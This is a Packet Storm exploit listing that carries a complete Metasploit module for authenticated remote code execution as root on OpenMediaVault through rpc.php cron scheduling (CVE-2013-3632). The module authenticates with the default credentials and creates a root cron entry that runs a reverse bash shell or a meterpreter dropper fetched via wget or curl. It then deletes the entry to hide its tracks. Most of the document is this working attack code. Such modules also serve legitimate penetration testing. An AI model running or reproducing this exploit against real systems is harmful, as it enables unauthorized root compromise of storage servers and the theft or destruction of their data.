exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

OpenMediaVault rpc.php Authenticated Cron Remote Code Execution

OpenMediaVault rpc.php Authenticated Cron Remote Code Execution
Posted Jul 31, 2024
Authored by Brandon Perry, h00die-gr3y | Site metasploit.com

OpenMediaVault allows an authenticated user to create cron jobs as root on the system. An attacker can abuse this by sending a POST request via rpc.php to schedule and execute a cron entry that runs arbitrary commands as root on the system. All OpenMediaVault versions including the latest release 7.4.2-2 are vulnerable.

tags | exploit, arbitrary, root, php
advisories | CVE-2013-3632
SHA-256 | 977b68b131bff0d949e6b913d2598f3af7e54c6447c2599729d421f769bac029

OpenMediaVault rpc.php Authenticated Cron Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Deprecated

moved_from 'exploit/multi/http/openmediavault_cmd_exec'

def initialize(info = {})
super(
update_info(
info,
'Name' => 'OpenMediaVault rpc.php Authenticated Cron Remote Code Execution',
'Description' => %q{
OpenMediaVault allows an authenticated user to create cron jobs as root on the system.
An attacker can abuse this by sending a POST request via rpc.php to schedule and execute
a cron entry that runs arbitrary commands as root on the system.
All OpenMediaVault versions including the latest release 7.4.2-2 are vulnerable.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Msf module contributor
'Brandon Perry <bperry.volatile[at]gmail.com>' # Original discovery and first msf module
],
'References' => [
['CVE', '2013-3632'],
['PACKETSTORM', '178526'],
['URL', 'https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats'],
['URL', 'https://attackerkb.com/topics/zl1kmXbAce/cve-2013-3632']
],
'DisclosureDate' => '2013-10-30',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
],
[
'Linux Dropper',
{
'Platform' => ['linux'],
'Arch' => [ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => ['wget', 'curl'],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'WfsDelay' => 65 # wait at least one minute for session to allow cron to execute the payload
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The URI path of the OpenMediaVault web application', '/']),
OptString.new('USERNAME', [true, 'The OpenMediaVault username to authenticate with', 'admin']),
OptString.new('PASSWORD', [true, 'The OpenMediaVault password to authenticate with', 'openmediavault']),
OptBool.new('PERSISTENT', [true, 'Keep the payload persistent in Cron. Default value is false, where the payload is removed', false])
]
)
end

def user
datastore['USERNAME']
end

def pass
datastore['PASSWORD']
end

def rpc_success?(res)
res&.code == 200 && res.body.include?('"error":null')
end

def login(user, pass)
print_status("#{peer} - Authenticating with OpenMediaVault using credentials #{user}:#{pass}")
# try the login options for all OpenMediaVault versions
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'rpc.php'),
'method' => 'POST',
'keep_cookies' => true,
'ctype' => 'application/json',
'data' => {
service: 'Session',
method: 'login',
params: {
username: user,
password: pass
},
options: nil
}.to_json
})
unless res&.code == 200 && res.body.include?('"authenticated":true')
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'rpc.php'),
'method' => 'POST',
'keep_cookies' => true,
'ctype' => 'application/json',
'data' => {
service: 'Authentication',
method: 'login',
params: {
username: user,
password: pass
}
}.to_json
})
end
unless res&.code == 200 && res.body.include?('"authenticated":true')
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'rpc.php'),
'method' => 'POST',
'keep_cookies' => true,
'ctype' => 'application/json',
'data' => {
service: 'Authentication',
method: 'login',
params: [
{
username: user,
password: pass
}
]
}.to_json
})
return res&.code == 200 && res.body.include?('"authenticated":true')
end
true
end

def check_target
print_status('Trying to detect if target is running a vulnerable version of OpenMediaVault.')
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'rpc.php'),
'method' => 'POST',
'keep_cookies' => true,
'ctype' => 'application/json',
'data' => {
service: 'System',
method: 'getInformation',
params: nil
}.to_json
})
return nil unless rpc_success?(res)

res
end

def check_version(res)
# parse json response and get the version
res_json = res.get_json_document
unless res_json.blank?
# OpenMediaVault v0.3 - v0.5 and up to v4 have different json formats where index 1 has the version information
version = res_json.dig('response', 1, 'value')
version = res_json.dig('response', 'version') if version.nil?
version = res_json.dig('response', 'data', 1, 'value') if version.nil?
return Rex::Version.new(version.split('(')[0].gsub(/[[:space:]]/, '')) unless version.nil? || version.split('(')[0].nil?
end
nil
end

def apply_config_changes
# Apply OpenMediaVault configuration changes
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'rpc.php'),
'method' => 'POST',
'ctype' => 'application/json',
'keep_cookies' => true,
'data' => {
service: 'Config',
method: 'applyChangesBg',
params: {
modules: [],
force: false
},
options: nil
}.to_json
})
end

def execute_command(cmd, _opts = {})
# OpenMediaFault current release - v6.0.15-1 uses an array definition ['*']
# OpenMediaVault v3.0.16 - v6.0.14-1 uses a string definition '*'
# OpenMediaVault v1.0.22 - v3.0.15 uses a string definition '*' and uuid setting 'undefined'
# OpenMediaVault v0.2.6.4 - v1.0.31 uses a string definition '*' and uuid setting 'undefined' and no execution parameter
# OpenMediaVault < v0.2.6.4 uses a string definition '*' and uuid setting 'undefined', no execution parameter and no everyN parameters
schedule = @version_number >= Rex::Version.new('6.0.15-1') ? ['*'] : '*'
uuid = @version_number <= Rex::Version.new('3.0.15') ? 'undefined' : 'fa4b1c66-ef79-11e5-87a0-0002b3a176b4'

if @version_number > Rex::Version.new('1.0.32')
post_data = {
service: 'Cron',
method: 'set',
params: {
uuid: uuid,
enable: true,
execution: 'exactly',
minute: schedule,
everynminute: false,
hour: schedule,
everynhour: false,
dayofmonth: schedule,
everyndayofmonth: false,
month: schedule,
dayofweek: schedule,
username: 'root',
command: cmd.to_s, # payload
sendemail: false,
comment: '',
type: 'userdefined'
},
options: nil
}.to_json
elsif @version_number >= Rex::Version.new('0.2.6.4')
post_data = {
service: 'Cron',
method: 'set',
params: {
uuid: uuid,
enable: true,
minute: schedule,
everynminute: false,
hour: schedule,
everynhour: false,
dayofmonth: schedule,
everyndayofmonth: false,
month: schedule,
dayofweek: schedule,
username: 'root',
command: cmd.to_s, # payload
sendemail: false,
comment: '',
type: 'userdefined'
}
}.to_json
else
post_data = {
service: 'Cron',
method: 'set',
params: [
{
uuid: uuid,
minute: schedule,
hour: schedule,
dayofmonth: schedule,
month: schedule,
dayofweek: schedule,
username: 'root',
command: cmd.to_s, # payload
comment: '',
type: 'userdefined'
}
]
}.to_json
end

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'rpc.php'),
'method' => 'POST',
'ctype' => 'application/json',
'keep_cookies' => true,
'data' => post_data
})
fail_with(Failure::Unknown, 'Cannot access cron services to schedule payload execution.') unless rpc_success?(res)

# parse json response and get the uuid of the cron entry
# we need this later to clean up and hide our tracks
res_json = res.get_json_document
@cron_uuid = res_json.dig('response', 'uuid') || ''

# In early versions up to 0.4.x cron uuid does not get returned so try an extra query to get it
if @cron_uuid.blank?
if @version_number >= Rex::Version.new('0.2.6.4')
method = 'getList'
else
method = 'getListByType'
end
post_data = {
service: 'Cron',
method: method,
params: {
start: 0,
limit: -1,
sortfield: nil,
sortdir: nil,
type: ['userdefined']
}
}.to_json

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'rpc.php'),
'method' => 'POST',
'ctype' => 'application/json',
'keep_cookies' => true,
'data' => post_data
})
res_json = res.get_json_document
# get total list of entries and pick the last one
index = res_json.dig('response', 'total')
@cron_uuid = res_json.dig('response', 'data', index - 1, 'uuid') || ''
end

# Apply and update cron configuration to trigger payload execution (1 minute)
# In early releases, you do not have to apply the changes, but the exact release change is unknown, so we always apply
apply_config_changes
print_status('Cron payload execution triggered. Wait at least 1 minute for the session to be established.')
end

def on_new_session(_session)
# try to cleanup cron entry in OpenMediaVault unless PERSISTENT option is true
unless datastore['PERSISTENT']
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'rpc.php'),
'method' => 'POST',
'ctype' => 'application/json',
'keep_cookies' => true,
'data' => {
service: 'Cron',
method: 'delete',
params: {
uuid: @cron_uuid.to_s
}
# options: nil
}.to_json
})
if rpc_success?(res)
# Apply changes and update cron configuration to remove the payload entry
# In early releases, you do not have to apply the changes, but the exact release change is unknown, so we always apply
apply_config_changes
print_good('Cron payload entry successfully removed.')
else
print_warning('Cannot access the cron services to remove the payload entry. If required, remove the entry manually.')
end
end
super
end

def check
@logged_in = login(user, pass)
return CheckCode::Unknown('Failed to authenticate at OpenMediaVault.') unless @logged_in

res = check_target
return CheckCode::Unknown('Can not identify target as OpenMediaVault.') if res.nil?

@version_number = check_version(res)
return CheckCode::Detected('Can not retrieve the version information.') if @version_number.nil?
return CheckCode::Appears("Version #{@version_number}") if @version_number.between?(Rex::Version.new('0.1'), Rex::Version.new('7.4.2-2'))

CheckCode::Detected("Version #{@version_number}")
end

def exploit
unless @logged_in
if login(user, pass)
res = check_target
fail_with(Failure::Unknown, 'Can not identify target as OpenMediaVault.') if res.nil?
@version_number = check_version(res)
if @version_number.nil?
print_status('Can not retrieve version information. Continue anyway...')
else
print_status("Version #{@version_number} detected.")
end
else
fail_with(Failure::NoAccess, 'Failed to authenticate at OpenMediaVault.')
end
end

print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end
end
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    23 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    43 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close